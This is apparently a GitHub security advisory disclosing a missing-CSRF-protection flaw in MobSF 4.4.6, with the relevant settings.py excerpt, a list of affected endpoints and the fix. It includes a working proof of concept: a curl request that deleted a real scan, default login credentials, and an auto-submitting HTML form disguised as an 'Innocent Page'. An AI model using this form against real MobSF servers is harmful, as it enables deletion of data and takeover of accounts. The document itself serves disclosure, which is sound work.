OSV 1.4.0 · github-reviewed · 修改于 2026-08-19 02:01
发布时间
2026-08-19 02:01
GitHub 审查时间
2026-08-19 02:01
NVD 发布时间
—
源文件
advisories/github-reviewed/2026/08/GHSA-3p54-567p-2wpr/GHSA-3p54-567p-2wpr.json
Django's CsrfViewMiddleware exists only in the deprecated MIDDLEWARE_CLASSES (ignored since Django 2.0). The active MIDDLEWARE tuple does not include it. All authenticated web POST endpoints (delete scan, upload, download APK, change password, manage users) accept requests without CSRF tokens.
This was verified by actually deleting a real scan from the running server using only a session cookie — no CSRF token was required:
$ curl -s -b cookies.txt -X POST "http://127.0.0.1:8000/delete_scan/" \
-d "md5=68e76627798d62555d5287f4488a32c7&scan_type=apk"
{"deleted": "yes"}
The scan was removed from the database. This attack works from any website via HTML form auto-submission because:
SameSite=Lax allows form-based top-level navigation to send the session cookieFile: mobsf/MobSF/settings.py (Lines 206-212)
MIDDLEWARE = (
'mobsf.MobSF.views.api.api_middleware.RestApiAuthMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
# MISSING: 'django.middleware.csrf.CsrfViewMiddleware'
)
1. Start MobSF v4.4.6 and log in at http://127.0.0.1:8000/login/ (creds: mobsf/mobsf).
2. Upload and scan any APK to create a scan entry. Note the MD5 hash from "Recent Scans".
3. Open the following HTML file in the same browser (simulates visiting attacker's page):
<!DOCTYPE html>
<html>
<head><title>Innocent Page</title></head>
<body>
<h1>Loading...</h1>
<form id="f" method="POST" action="http://127.0.0.1:8000/delete_scan/">
<input type="hidden" name="md5" value="PUT_REAL_MD5_HASH_HERE" />
<input type="hidden" name="scan_type" value="apk" />
</form>
<script>document.getElementById('f').submit();</script>
</body>
</html>
4. The scan is deleted. Navigate back to MobSF "Recent Scans" to confirm it's gone.
/delete_scan/, /upload/, /download_scan/, /change_password/, /create_user/, /delete_user/Add 'django.middleware.csrf.CsrfViewMiddleware' to the active MIDDLEWARE tuple.